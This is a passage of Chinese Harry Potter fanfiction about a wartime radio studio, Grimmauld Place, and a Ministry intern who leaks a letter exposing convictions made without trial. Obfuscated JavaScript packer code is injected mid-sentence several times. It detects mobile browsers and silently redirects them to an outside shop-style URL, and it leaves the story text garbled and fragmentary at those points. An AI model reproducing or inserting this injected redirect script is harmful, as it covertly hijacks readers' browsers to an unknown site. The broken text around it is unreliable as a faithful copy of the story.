那一日推开工作室的门走在前面的伍德却发现身后的莉兹紧紧握住了他的手,她低着头,调整着呼吸,就像她所有的平静都来自一种压抑,他转过身轻轻吻了吻她的发际,没有在说些什么。 此刻结束了对许久未见的友人的回忆,莉兹终于还是打开了行李箱,倒出了牛皮纸袋里的东西,这里面装着她七年里所有的选课记录,那枚被乌姆里奇没收的级长徽章,五年级时的OWLs考试成绩单……她也总算记起自己还参加过另一场大型考试了,尽管那几天她的心思全都不在考场中。她潦草把东西拨到一旁,下面还堆着一沓没拆的信件,大多是米歇尔女士寄来的,还有一封盖着魔法部的章戳,这看起来是自己的NEWT考试成绩单了。 正巧杰姬站在门外提醒她可以吃午饭了,一探头发现莉兹抓着一个信封一动不动,瞥见了熟悉的章戳,她便走进去主动问道:“你一直没拆开过吗?” “我用不到这份成绩,也没有申请过工作,现在更是无业游民,完全没有理由打开它。”莉兹依然捏着信封的一角。 “那现在怎么不拆,你不会好奇吗?”杰姬弯下腰。 莉兹回忆着:“我意识到自己完全没有与这场考试有关的记忆,只有一片空白,我认为结果可能是一团糟。” 对一个过目不忘的人来说,哪怕是手上的稿子已经修改了六七遍,她也依然能在别人提出疑惑的时候复述出任何一个版本的内容,这是莉兹·奥利凡德在工作室的日常。有时杰姬和帕特里克因为什么争辩起来,伍德便会看到一旁的莉兹突然放下了手里的事情,呆呆望着一面空白的墙,好像那上面写着他们需要的答案似的。 她刚刚就是这样的表情,可很显然她的记忆力在这时候没派上任何用场。 “已经毕业了还会害怕看成绩吗?”杰姬又悄悄靠近了一些。 “很不幸,我也想不通这个道理。”莉兹摇了摇头。 “既然如此……我来帮你拆。”话音刚落,杰姬已经伸长胳膊抢过了莉兹手里的信封,凭借几年魁地奇经验带来的灵敏反应速度和将近六英尺的身高,她在同样反应很快的莉兹起身前便撕开了火漆印章,一把甩开折叠好的信纸。 “哇罗伊纳·拉文克劳呀,这幅景象我只在帕特里克那里见过一次。”杰姬昂起头看着信纸。 “你见过我什么?”听到了自己的名字,本来站在餐桌旁的帕特里克也探头凑了过来。 “全优生。”杰姬再次一甩信纸,将正面朝着他们,接着抬手指着魔药学课后面的字母,“斯内普只给了你E,快瞧这是什么?” “Outstanding!”帕特里克惊叹,“伊丽莎白小姐一定救过斯内普的命。” “谁救过斯内普的命?”只听见了后一半句子的伍德也放下了炖汤的勺子,连忙走进屋子里。 “本人,”莉兹举起手,“我饿了。” 她把讨论成绩单的两个人丢在房里,推着伍德走了出去,但眼里却隐隐有些笑意,看来不管过多久,获得一个好的评价总会让她觉得心情不错。 九月一日会是热闹的工作室里寻常一天,也会是寂静的格里莫广场12号的寻常一天。 塞西尔以为自己习惯了安静,每个晚上却还是会在楼梯上来来去去,连续的脚步声听起来好像房子里有许多人似的,等到逛完每层楼的每间屋子,再翻出厨房酒柜里的藏酒按顺序一瓶瓶喝完它们。卢平出发的那天,两个人一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487896|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了早餐,吃食依旧很简单,塞西尔还挑出了盘子里的蛋壳笑着责怪对方又暗算自己,轻松的语气和平时没什么区别。 除了之后再也听不见卢平那烦人的唠叨声,左一个酒鬼右一个酒鬼的,莱姆斯·卢平的好脾气看来从没有分半点给她。 过去西里斯和卢平都守过这里,现在换塞西尔留守了。 考虑到保密问题,原本应该留下的克利切在哈利的命令下离开了格里莫广场12号,它似乎并不喜欢霍格沃茨,但没有主仆的契约,塞西尔并不能在房子里召唤一个有主人的家养小精灵,她也不愿意克利切再回来。从没有人想过,眼睁睁失去一个又一个主人对一个过分忠诚的小精灵实际上是一件多么残忍的事情。 格里莫广场12号也不总是只有塞西尔一个人的,偶尔会有一两位不速之客出现,莫莉·韦斯莱会在晚餐时间带着刚做好的炖菜或者烤肉上门,如果能碰见下班的塞西尔,她也会将唐克斯一起叫来,抛下丈夫,聊些有趣的事情。如果不凑巧的话,莫莉就会将吃的东西搁下,顺便留一条口信,她知道所有人都不算好受,因此更想关心他们每一个人。 而另一个则是蒙顿格斯,他只会在塞西尔上班的时候溜进来偷东西,把所有房间的各个角落都摸过了一遍,无论是橱柜还是抽屉,哪怕是带锁的箱子,只要看起来值些钱的玩意儿都被他全部顺走。终于有一次,塞西尔在半路折返,正好碰见从楼上下来的蒙顿格斯,那副偷偷摸摸的表情一看便知有鬼,她二话没说,抬手就缴走他的魔杖,下一秒又将他倒过来捆在了楼梯扶手上,听得一阵叮铃桄榔,宝石项链和戒指一个个掉了出来。 突然的天旋地转让蒙顿格斯胃里一阵翻涌,他觉得自己眼睛都花了,不然面前这个女人为什么手里会拿着一把闪着寒光的斩刀。 “弗莱奇先生,我似乎曾经和你说过,”塞西尔的高跟鞋把老旧的木地板踩得吱呀乱叫,“如果你再落到我的手里,你的两只手就归我了。” “等……等等——唔!”蒙顿格斯惊恐地挣扎着,捆住他的麻绳越来越近,痛得他手指发麻,可救命都没喊出口,塞西尔又堵上了他的嘴。 “我不想吵醒那位麻烦的太太,”塞西尔一手刀一手魔杖,手势像在磨刀,“来吧,告诉我,你进过哪个房间,拿走了什么东西,我会很有风度,不会用摄神取念。” 蒙顿格斯眨着眼睛,勉强看清女人的眼神,脊背开始发凉。 “我希望你没有打开那扇门,没有进过那个房间……” 只要一提起雷古勒斯,塞西尔整个人就会像疯了一般,虽然她平时也不能算是个心慈手软的人,蒙顿格斯意识到自己根本听不进她接下来说的所有内容,唯一明白的只有他绝对不能提及自己曾经进过雷古勒斯的房间,连带着早先从那里已经拿走的东西,他都不会拿出来。 然后老实承认自己卖掉了西里斯抽屉里那块镜子,还好是卖给了阿不福思,而另外的几条金项链押在了博金博克,剩下值钱的还有一瓶龙血,被三把扫帚的老板买走了。交待完所有赃物的去向,蒙顿格斯央求塞西尔放他下来。 看着这小偷狼狈地捡起魔杖连滚带爬消失在走廊里,塞西尔低头看着那堆散乱的首饰,念了两句咒语,它们便飞回了原来的位置。 厨房里的座钟到了整点发出了响声,塞西尔猛的一个激灵,她这才想起今天可是工作日。 109. 木头先生清醒而茫然 这天傍晚时候,莉兹在上周发生过一次摄魂怪袭击事件的麻瓜街道巡逻,她穿着寻常可见的灰色连帽衫,已经洗到起了毛球,踩着一双褪了色的红色帆布鞋,乱糟糟的卷发遮住了小半张脸,来往的路人只把她当作是平平无奇的流浪少年,在经过时还要紧紧抱住自己的跨包,加快步速奔向车站。 她其实并不明白麻瓜们的冷漠是因为什么,她只是在观察中发现这样的打扮是最不显眼的,就像是路边一块脱落的碎石砖,它就呆在角落里,不会有人特地挪开它。 偶尔碰见比她小几岁的麻瓜小孩,他们成群结队地走在一块儿,驼背插着兜,打量她几眼,嘴里嘟囔几句算不得好听的话,接着便会当作她不存在似的,站在边上商量着怎么从街口那家开了很久的杂货铺里顺两瓶酒出来。 莉兹将无声的笑意藏进自己的卷发里,她想他们大约不会成功的,店主玛德琳女士的桃木手杖里应该有一根魔杖,和憨厚风趣的主人一样,会哼出温和的歌声,她喜欢这样的声音。 时节逐渐入秋,白日里残存的热气被深夜寒意驱赶,莉兹搓了搓手掌直起身,她拨开挡住视线的头发,银色的眼眸被疲惫的血丝包围着,待在墙根拐角的那条猎狼犬先是变成一束光而后又成了一个光点消失在路灯下,今日的巡逻工作终于告一段落。 在她走过路口时,杂货铺门前那盏昏黄的灯也在同一时间熄灭,下一秒身后便传来玛德琳女士的声音,莉兹下意识警惕地握住了缩在袖子里的魔杖,转身看见对方抱着一袋热腾腾的玛德琳蛋糕,热气在她的镜片上留下一层雾。 “谢谢你。”她没有说其他的话,只是向莉兹道谢。 而莉兹一时间还不知要如何应对,那袋玛德琳蛋糕已经被塞进了她怀中,混着黄油的甜香味仿佛带着魔力,让微笑出现在了莉兹脸上。但是因为她们不知道彼此的名字,所以莉兹才会称呼她是玛德琳女士。 当然了,倒也不是每次都能够有这样的好运气,前些日子伍德在隔壁几个街区之外的桥下与傲罗们打过照面,他们来来去去的模样总是风风火火的,集体穿着显眼的斗篷,生怕食死徒们看不出这是一群巫师,杰姬还揶揄徳力士说他简直是打着巡逻的名义在麻瓜们跟前走秀。 帕特里克觉得这说得太过分了,因为没有人想看徳力士那张像黑狗熊似的脸。 当时谁都没料到这句刻薄的调侃竟是来自老好人帕特里克·费尔曼,工作室里的四个人面面相觑而后笑出了声,杰姬还用手指敲着沙发椅的扶手故作深沉说:“太糟糕了,为师真是把你带坏了。” 时间回到这夜,昏暗客厅里伍德手串上的石头闪着微弱的亮光,幻影移形的动静不大不小,总能让坐在沙发上守着的伍德刚好清醒,每当巡逻轮到莉兹的时候,他就会这样安静地等待着,并且在听到推门声后起身张开双臂给她一个拥抱。 真实的触碰能带来真实的感受,奥利弗·伍德就这样直接又笨拙地表达爱意。 低头看见莉兹嘴里叼着一块玛德琳蛋糕,心情看起来很不错的样子,伍德刚想问什么,她已经三两下把蛋糕吞下去,而后踮脚亲了亲他的面颊转身走向厨房并说道:“玛德琳女士送了许多玛德琳蛋糕,我想我们有很多支持者,你现在吃吗?” 伍德顿了两秒,性急又爱吃甜品的莉兹已经又拿出一个塞进了自己嘴里,慢了半拍的伍德便走上前弯腰凑近咬住蛋糕,甚至没放过她嘴里的小半块,不过他的下一步计谋还是没能得逞。莉兹捂着他的嘴将他推开,同时手里的魔杖已经戳上了他的胸口。 “我可不允许任何人抢我的蛋糕,说吧,怎么办?” 她的魔杖细长,缓缓向下在他的肋骨上点了两下,隔着单层的衬衣触感过于奇妙了,最后扫过小腹就停住了动作,她稍稍用了点力气,轻微的疼痛感让伍德不免皱了眉头,只好是低着头乖乖认错。 “好的,再也不敢了。”他说道。 “真听话,”莉兹轻笑一声,反手一收魔杖抬头埋在肩上蹭了蹭他的脖子,“奥利弗真听话。” 松了一口气再次抱住她,虽然这也是伍德不好意思说出来的部分,但他还是会承认自己很喜欢莉兹时不时就逗弄自己的模样,即便迟钝的自己根本不知道如何招架。 何况在这样的时候,这些存在于夹缝里的亲密互动简直像偷来的幸福一样。就像笑声似乎也不合时宜,他们几个人就常常在结束了一段难得轻松的闲聊后陷入沉默,仿佛在自我惩罚似的,不断提醒自己现在还不是高兴的时候。 莉兹看似已经不在意,但伍德知道她没有放弃打听老奥利凡德的消息,会在巡逻时留意那些陌生面孔的样貌和声音,若他们是巫师,或者他们看起来像是食死徒,她总在期待那些人里有一个是那个晚上参与绑架的人,这样她就可以用自己早已练习到炉火纯青的摄神取念咒语进入他们的大脑。 可惜的是,他们遇到过那么多人,没有一个是他们要找的人。 时间一天天过去,深秋的落叶彻底包裹住整个伦敦,对面楼下住着的乐队结束了巡演又回到了这里,连带着吵吵闹闹的声响一起回来了,隔壁的画家来年要办毕业画展,她等在路灯下将邀请函送给了帕特里克,不擅长和漂亮姑娘打交道的帕特里克笨嘴拙舌的模样逗笑了趴在楼上窗台看笑话的三个人,他一脸窘迫,只好偷偷在袖子里挥着魔杖将窗户关上。 失去了观影席的三人自然不会再找朋友的麻烦,杰姬看了一眼挂钟,走到客厅弯腰打开了电视,麻瓜的晚间新闻刚开始了两分钟。她的头发越来越长,被梳成两条粗粗的麻花辫一直垂到地毯上,和帕特里克打闹时她甚至会用辫子勒住他的脖子威胁他就范。 “那看起来可不太像是暴雨留下的痕迹。”她看着新闻回头和莉兹说道。 “巨人还是巨怪,总之不是人……”莉兹盯着新闻照片思索着,结果不太灵光的旧电视又出现了雪花点,她便喊了一声,“奥利弗。” 离得最近的伍德起身抬手扶住了天线,电视画面恢复了正常,杰姬满意地点点头,伍德就这样充当起了人形天线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487897|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这台房东留下的电视在莉兹住的储藏室里摆了很长时间,直到不久前她才拜托塞西尔从韦斯莱先生那里借来了不少零件和工具,勉勉强强修好了它,听说这件事时亚瑟·韦斯莱简直激动过了头,当场就想跟着塞西尔过来见识一下麻瓜的电视。 毕竟订阅麻瓜的报纸对他们来说并不容易,而《预言家日报》上又看不到什么实话,电视反倒成了最好的途径,甚至新闻节目比报纸还要更快一步。 站着的伍德实在无聊,他捡起地上那份今天的《预言家日报》,标题比先前写得更加直白露骨了,魔法部部长本人在访谈中都提及了“救世之星波特”这个名字,那简直是在代替哈利表态一样,他撇了撇嘴说道:“斯克林杰有这么讨厌哈利吗,这和推哈利去地狱有什么区别?” 进门的帕特里克听到了伍德的评价,一边脱下外套让它自己飞到衣帽架上挂起来,一边回答道:“是的,完全没有区别。” 这个话题似乎令杰姬有些不满,她瞟了一眼帕特里克,轻哼了一声:“哦,原来你也知道没有区别呀,费尔曼先生?” “我可不喜欢你这说话的语气,”帕特里克挪过来一把椅子坐下。 与此同时,莉兹已经自然而然开了口,帮此前并不在矛盾现场的伍德解释起了一切:“魔法部需要一个掩盖问题的人,因为他们解决不了问题,所以波特成为这个象征是非常合理的,斯克林杰不需要担心一个小孩的背景会影响他的选票,毕竟虽然卢修斯·马尔福进了阿兹卡班,但邓布利多教授也早就退出了权力场,不是吗?” 见伍德依然听得云里雾里,莉兹又换了说法:“理由其实很好理解,现在的我们谁也杀不死伏……神秘人,但波特一岁的时候就做到过一次,新上任的斯克林杰需要给选民造这个梦。” “你怎么改口了?”杰姬突然插嘴说。 “古老咒语书中说名字孕育着力量,所以我觉得不太吉利。”莉兹坚信每个巫师的预感都有意义,不过她这句确实是在说玩笑话。 “我就觉得他一定给自己的名字下过咒语,”杰姬这头还在附和,下一句又开始,“这种时候造梦很虚伪吧,我真想让所有人都醒醒。” “没错,她们写了新的稿子,”帕特里克接话,“但我不赞同发布,不是所有的真话都可以在任何时候被说出来,说出来的时机不对,真话会变成比假话更可怕的东西。” 杰姬哼了一声不想再回话,莉兹平静地继续解释:“我们现在的安宁某种意义上来自于斯克林杰,这很讽刺,但事实如此,他认为我们是亲魔法部的媒体,所以我们才能开口说话。” “我知道这很卑鄙,但我们没有承担罚款的能力,也不能再被捂上嘴,这就是政客的手段。”帕特里克长叹一口气。 伍德稍稍松开手,看了一眼电视屏幕,看来不需要再扶住天线了,他多少明白了杰姬的愤怒,也明白了莉兹和帕特里克的无奈,有时候他真希望这一切就是一场速战速决的生死战——一夜过去,当天亮了,便有了结果。 110. 需要传达的声音 如何把想要说的话传达给需要的人,或者说如何让别人听到自己的声音,这似乎是一道足够让人烦恼一辈子的课题,莉兹一直就相信这个世界上并不存在真正的理解,人与人之间的交流始终像是站在悬崖的两端对着彼此大喊,盘桓在深谷的风声可以吞没掉人们的话语,她从不认为自己的观点有意义,也不认为她的声音需要被听见,那是沉默的家人们教会她的。 可是那个傍晚,一个卷发姑娘向她递来了一枚徽章,她希望得到自己的帮助;那些看似消遣的册子,在她的手背上留下了什么咒语都去不掉的疤痕,写作伊丽莎白·加里克·奥利凡德;那个满脑子只装着魁地奇的男孩,在比赛的赛场扔下了飞天扫帚,被禁赛了一次又一次,因为他不想要不公平的比赛;成绩优异、事业有成的毕业生们掀翻了上司的桌子,摔上了父母的家门,将所有的真相藏在麻瓜贫民区的旧公寓里。 莉兹从行李箱角落里拿出那个假加隆,她看向坐在客厅里为了晚上的节目再次修改讲稿的杰姬和帕特里克,长舒一口气,用魔杖轻点加隆,金属制的硬币在慢慢变热,稍有些烫手,天狼星观测台的节目名称与频率便显现在上面。至少在霍格沃茨里的同伴,他们也许是真的在乎外面正在发生什么。 不过她也没有因此提高自己的期待,被听见与被理解都不是注定的,她觉得邓布利多校长大约也是明白这个道理的,所以他只向她提供了选择,那些关于老魔杖的猜测说到底都是她视角下的观点,校长没有给出目的与意义,好狡猾的老头,他完全猜得到自己不会拒绝。 事实也如莉兹设想的那样,深夜的节目播送后过了几天,仍然没有太多新的来信,大多是《魁地奇夜话》的观众对上一期谈到的欧冠比赛的评论,好几个人的说法把伍德气得够呛,他埋头写了厚厚的回信,较真的模样让莉兹回忆起了上学时候的他。 “这是我们知道的那位洛夫古德吗?”帕特里克从来信中翻出了一封信,牛皮纸信封像是被什么草药印上了花纹,里面还有一本刚发售的《唱唱反调》,“天狼星观测台”几个字和频率的数字被印在了背面的右下角——让我们一起看那颗最亮的星星。 “卢娜?”莉兹起身走过去,帕特里克将信纸展开: 星星守护者们 你们好,最近日落的时候可以在东边看到天狼星了,希望你们有机会趁着天晴去观星。 因为我一直随身带着加隆,所以我很快就发现了,但是我想等爸爸的新杂志一起寄给你们。赫敏和哈利也很快就知道了,我还通知了秋,她把自己的收音机借给了我,接下来我会收听每一期节目的。 祝愿一切顺利。 卢娜 听着帕特里克将信念完,屋子里的四个人不约而同站到了窗台,伍德抬手推开了窗户,晚霞的余晖染红了远处的半片天,那颗传说在日落时分会出现在东南方的最亮的星星并没有出现,层层叠叠的房子仿佛切断了开阔的视野,杰姬稍有些失落,她第一个转过了身。 “好怀念霍格沃茨城堡后面的山坡。”她说道。 帕特里克第二个转过身,没有附和杰姬的感慨而是问起了那枚加隆的事情,莉兹眨了眨眼,把口袋里的硬币掏出来递给了他,又犹豫了几秒钟,这才把七年级一整年发生的事情说了出来。不管是邓布利多军集会还是乌姆里奇的体罚,又或者是那场发生在校长办公室的冲突,在旁人听来都称得上是惊奇,甚至是惊险,但莉兹那副事不关己的冷淡语气就好像这一切都没什么似的。 只有一旁站着的伍德低头瞥向了她手背的痕迹,忍到最后才说:“疤痕原来是这么来的,你应该告诉我的。” “我认为我能处理好……”莉兹刚说了半句话便停顿了下来,类似的对话好像过去也出现过,那时候她迎来了和塞德里克的第一场冷战,于是她抬头看向了伍德,立马改了口,“这件事我还在学习,要怎么把该说的话说出来。” “我没听错吧,”杰姬笑了起来,“虽然你们俩说悄悄话我不应该插嘴,但是莉兹你被梅林附身了吗,你不是应该反问一句‘为什么要告诉你’吗?” “或者是,我自己的事情自己能解决?”在校期间和莉兹认识的时间最长的帕特里克也搭腔道。 “你们也不要得寸进尺了。”莉兹轻哼一声拿过卢娜的信就要回房间,谁料身后又传来杰姬的调侃。 “她害羞了哦,不要不好意思啦。” 伍德赶忙追了上去,下一秒又被她的房门关在了外面,蹭了一鼻子灰,帕特里克幸灾乐祸摆出大笑的表情,好在莉兹并没有反锁,伍德紧跟着打开门也进了房间。 外面的帕特里克和杰姬耸肩看了彼此一眼,三秒的沉默之后,两人同时开口:“我有一个想法。” “我先说。” “你先说。” “下一期的专题做教育令时期的霍格沃茨。”杰姬说道。 “我也是这么想的,”帕特里克思索着,“而且这是发生在福吉政府的事情,斯克林杰不会阻拦。” “真讨厌你这幅政治家嘴脸。”杰姬嫌弃地看了他一眼。 “我也不是很喜欢。”帕特里克拉开一卷新的稿纸,“来吧,看看怎么写!” 敞开的窗户被关上,杰姬拿起速记羽毛笔坐在了沙发上,外面昏黄色的路灯照亮了街道,东南方向天空中,天狼星闪了一闪,像错觉一般出现又消失在人的视线中。 一个光点出现在伦敦另一端,照向格里莫广场那扇老旧的门,黑色的雅马哈摩托车停下,随着一声咒语,与戴着头盔的女人一起没入阴影中,好像从未有人来过这里。 塞西尔把头盔扔在了玄关,发出的声响在空荡荡的屋子里显得很突兀,但更加突兀的是屋子里的气味,就像这里曾经养了十几条流浪犬一样,她走到楼梯口,轻轻拍了拍栏杆,咳嗽了两声,楼上隐约传来脚步声,对方低下头,俩人视线相接。 “你什么时候回来的?”她这头血橙色的短卷发在黑色的巫师袍衬托下有些滑稽。 “一小时前。”热水澡显然没能冲刷掉卢平的憔悴与疲惫,也没能洗掉他在森林里与狼人生活时留下的气息。 “你看起来挺糟糕的,”塞西尔直言不讳,顺便抬手给屋子里施了一个除味的咒语,不过狼人的味道太强烈了,没那么容易全部去除,“这味道也挺糟糕的。” “我还没来得及……”卢平的话被一阵开门声打断,凤凰社的成员来总部都是这样的,大家都是直接推门进来,留守在这里的塞西尔因此早就习惯了随时随刻都有突然到访的人,毕竟除了集体会议之外,会搞“突然袭击”不是莫丽就是唐克斯。 于是毫不意外,这会儿踩着重重的脚步声向楼梯走近的是唐克斯,她抬手与塞西尔打招呼,看起来依旧是那副没精打采的模样,头发也变成了暗淡的灰紫色,似乎没人知道唐克斯转变了性格的原因。 多少了解了一些内情的塞西尔下意识瞥了楼上那位一眼,然而卢平只是后退半步,装作自己并不在的样子。可是作为一名通过严苛的选拔与实习期的傲罗,唐克斯敏锐地察觉到了不对劲,残留的那点几乎可以忽略不计的气味引起了她的注意。 “是不是莱姆斯回来了?”她问道。 塞西尔又瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是正在骂我胆小吗?”卢平拿过顶层的两瓶啤酒和剩下的奶酪。 “梅林在上,原来你能听见啊。”塞西尔一点不遮掩,只是一挑魔杖抢了一瓶啤酒过来。 无奈的卢平摇了摇头,坐回刚刚的位置,垂下脑袋说:“是不是年纪小的人都这么固执?” 男人像自言自语一样,低声问道。 “真奇怪,你自己难道很会变通吗?”塞西尔半句话都不想让着面前这位好朋友。 又被泼了冷水的卢平懒得接话,撬开了酒瓶,咕嘟咕嘟灌了一大口。 塞西尔陪着他安静了一会儿,几分钟之后还是深吸了一口气,卢平猜到她大概又要有什么直戳人心的发言了,他也默默深呼吸了一下。 “我知道我这么说可能有些不讲道理,但是我的朋友,你让小姑娘爱上你本身就是你的问题了。”塞西尔等着卢平抬头看向自己才继续说,“你没有办法干脆地拒绝唐克斯,是因为不想让她受伤,还是其实害怕自己会难过?” 很显然,她不觉得自己能得到闷葫芦的回答,但喝第二口啤酒时,那股气顶到喉咙口,塞西尔打了两次嗝,她捶了捶胸口一边调整着呼吸一边说:“莱姆斯,你犹豫一次,我会认为你是在为了现实深思熟虑,但是你次次都逃避,我会当你是一个没出息的家伙。” 卢平猛地站起身,吓得塞西尔打了第三个嗝,不过并没能让她把最后的话咽回去。 “这只能证明唐克斯爱错了人。”她说。 “你喝多了。”卢平走过去抢过了酒瓶,扔进了水池里。 面对着被关上的厨房门,塞西尔觉得心口堵得慌,她赌气似的把空了的红酒瓶摔在门上,留下一堆碎片和一滩痕迹,也让她清醒了一些。长叹了一口气,她灰溜溜地念着咒语打扫那一片狼藉,呓语一般问自己:“我是在用什么立场指点别人的人生……” 隔天一早卢平又消失了,他甚至留下了一盘做好的松饼,用魔咒保着温。 站在餐桌前哈哈笑了好几声,塞西尔不禁感慨,自己和卢平真是窝囊到一块儿去了。 111. 政治家的游戏 离开霍格沃茨之后,罗杰·戴维斯的人生几乎是一路顺遂,他在毕业前申请了魔法部部长办公室的实习岗位,经历了一次笔试,通过了一次面试,成功打败了十几个竞争对手,得到了那张魔法部工作人员通行证,虽然后面的括号里标注着“实习期”。工资倒是比预先设想的低了两成,不过看到这个数字的时候,戴维斯已经坐在行政办公室里等待工作分配了,他没有犹豫,毕竟这是目前的世道下自己能得到的最好价钱。 部里年长的老员工会拍着他的肩膀感叹可惜,因为他没赶上好时候。随着福吉的下台,议事会的高层自然免不了大换血,而斯克林杰在集体审判中不仅揭露了卢修斯·马尔福的食死徒身份,更在同一时间调查了与之有密切利益往来的官员,将传说中的铁腕彰显得淋漓尽致。 推行薪资改革,也就成了斯克林杰政府的主力任务,美其名曰“清洁与复苏”,至于结果如何,大家给不出定论,唯一能看到的就是这个季度的财政再也不是赤字了。再换句话说,无非是降“薪”增效罢了。 这听起来有点自欺欺人,然而戴维斯不在乎,或者,他觉得自己在不在乎并没有意义,虽说自己是在部长办公室实习,可是别说部长了,他能接触到的文件都已经被抄送了几轮,最后被盖上“废弃”二字,而他的任务很简单,使用一个消除咒语,清理掉所有不需要的文件,并让它们永远不可能流传到外面。 他偶尔会在办公室里坐到深夜,避开晚餐和父母的交流,逃开那些不知道怎么回答的问题,他是真的不想讲述自己今天一共销毁了多少英寸厚的文件,只会让他觉得比起一个巫师,更像一个焚烧炉。 又是临近下班前,门外传来脚步声,戴维斯以为又是楼上的谢弗过来找他去破釜酒吧喝两杯,谁料一抬头却看到了珀西·韦斯莱,男人手里拿着一封信,脸上写满了不耐烦,他扫了一眼站起身的戴维斯,潦草打了个招呼,然后将信封扔在了文件堆上,碎碎念了几句什么话便转身离开了。 没有刻意留心对方究竟说了什么,戴维斯伸手将那个信封拿到了跟前,既然封口的火漆印已经被扯开,那自己看两眼也没什么,他一边这样想着,一边低头看向了信封上的收信人名字。 加德文·罗巴兹? 这应该是现在傲罗办公室的新主任,传闻说罗巴兹是梅根妈妈的表亲,否则金斯莱·沙克尔早就从麻瓜首相那边调回来了。戴维斯和过去在学校时一样,仍然热衷于研究乱七八糟的人际关系,他继续翻出信纸阅读里面的内容,署名的桑帕克斯湖有些耳熟,还没等他回忆起这个人的身份,一句“希望您能重新调查”已经让他陷入了思考。 要知道“清洁与复苏”不仅仅与财政有关,斯克林杰为了证明自己的政绩,这几个月里已经逮捕了不下二十余名食死徒,他们无一例外,除了牵扯到贿款的马尔福等人走上了审判庭,剩下的人通通没有经过审判便被直接关押进阿兹卡班。斯坦·桑帕克便是其中之一,罪名是在酒吧公开自述曾参与食死徒的麻瓜伤害案件。 定罪程序经不起任何推敲,戴维斯不禁皱起了眉头,将这封来自桑帕克夫人的陈情书又放回了信封中,他完全能够理解上级的指令,却又很难不认为那样轻飘飘说出“这没有用了”的珀西有些可怕。 一个普通人犯了一个愚蠢的错,他就应该变成政绩的垫脚石吗?桑帕斯被押送时恐惧的表情突然出现在戴维斯的眼前,他明明没有亲眼见过,但是他却觉得自己看见了。 就这样紧紧攥着信封在原地踱着步子,戴维斯颤抖着右手举起魔杖,一团乱麻钻进他的脑子里。去魔法部面试前他曾经向帕特里克写信询问有没有需要特别注意的方面,这位老队长就跟他约在对角巷见了一面,一如既往热心且耐心的帕特里克简直是倾囊相授,那副出口成章的模样让戴维斯更是不解。 于是他直接问出了口,他问道:“既然如此,为什么又要辞职呢?” 帕特里克看着他笑了笑,眼里却装着苦涩:“我只是不想对不起我自己。” 深呼吸了一下,戴维斯试图将这一阵苦笑甩出脑子,接着把应该销毁的信件塞进了斗篷口袋里,埋头穿过走廊时,他的心脏一直怦怦在跳,好像要从他嘴里蹦出来。忐忑不安地一路走到猫头鹰邮局,他又犹豫了,他甚至觉得自己被什么夺魂咒控制了,或是有什么奇怪的人影响了他的脑子,莉兹那副冷言冷语的表情在他眼前闪过。 “啊——不管了!” 戴维斯猛地推开店门,找了个最严实的包裹将信件塞进去,写下《魁地奇夜话》的地址后,负责收件的年轻人对着他点了点头,说他也很爱听这个电台,还说伍德选手给他回信了。 敷衍似的应答着,戴维斯慌忙扔下一个银西可,然后不顾找零便夺门而出,此时太阳落山下起了雨,将他的斗篷打湿,冷得他双手止不住颤抖。 今夜天狼星观测台的播报主题是“那些消失的教育令”,为了撰稿做准备时莉兹向许多去年还在校的毕业生寄去了访问信件,最终只有李·乔丹还有韦斯莱双胞胎兄弟回复了,而安吉丽娜的信送来得太迟,最终没能用上。这期节目一共六十分钟,包括最后五分钟的周围地区安全提醒,杰姬一句不落将乌姆里奇对学生们所做的事情都说了出来,在外面听着的莉兹下意识握住了伍德的手,对方回握着她的手而后轻轻抚着她手背的伤痕。 说来也巧,一个没有署名的包裹被扔进收件箱的时候,杰姬刚说完“观星者们下周见”,帕特里克有些疑惑地将湿漉漉的包裹提进门,可它一点重量都没有,和其他听众寄来的信件或包裹都不一样,他不知道为什么会有人花费一笔昂贵的包装费寄送一张纸。 “我见过这个字迹,应该是在哪里见过的……”从录音室走出来的莉兹看到了放在桌上的包裹,上面用墨水笔写的地址有一半被雨水打湿糊成一团,只剩下“魁地奇”这个单词还很清楚。 “是谁寄来的又不重要,我们什么时候在意过听众的身份了?”杰姬直接拿过来拆开,里面皱巴巴的信封掉出来,她的神情也随着阅读信件的内容而开始有了变化。 她抬起头问莉兹:“你记得《预言家日报》哪天讲了关于食死徒桑帕克的案件?” “我记得。”莉兹说着念出日期,手一挥魔杖,对应的报纸从书堆里飞了出来,摊开放在了几个人眼前。 帕特里克倒吸一口凉气,他惊讶于自己竟然毫不吃惊,杰姬则是咬紧了牙关,像是憋了一肚子气似的,而莉兹则是想起了那个字迹的主人,这让她有些意外。 “所以报道中说到的审判根本就不存在,”伍德对着信件又看了一遍报纸,“他们根本就没有审判就定罪了。” “这倒不是什么新闻了,”帕特里克坐在了沙发上,仰头揉着太阳穴,“梅林啊,我真蠢……” “我早说了魔法部不管换谁坐那个位置都一样,”杰姬看了他一眼,“你居然还认为只要不是福吉就行?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 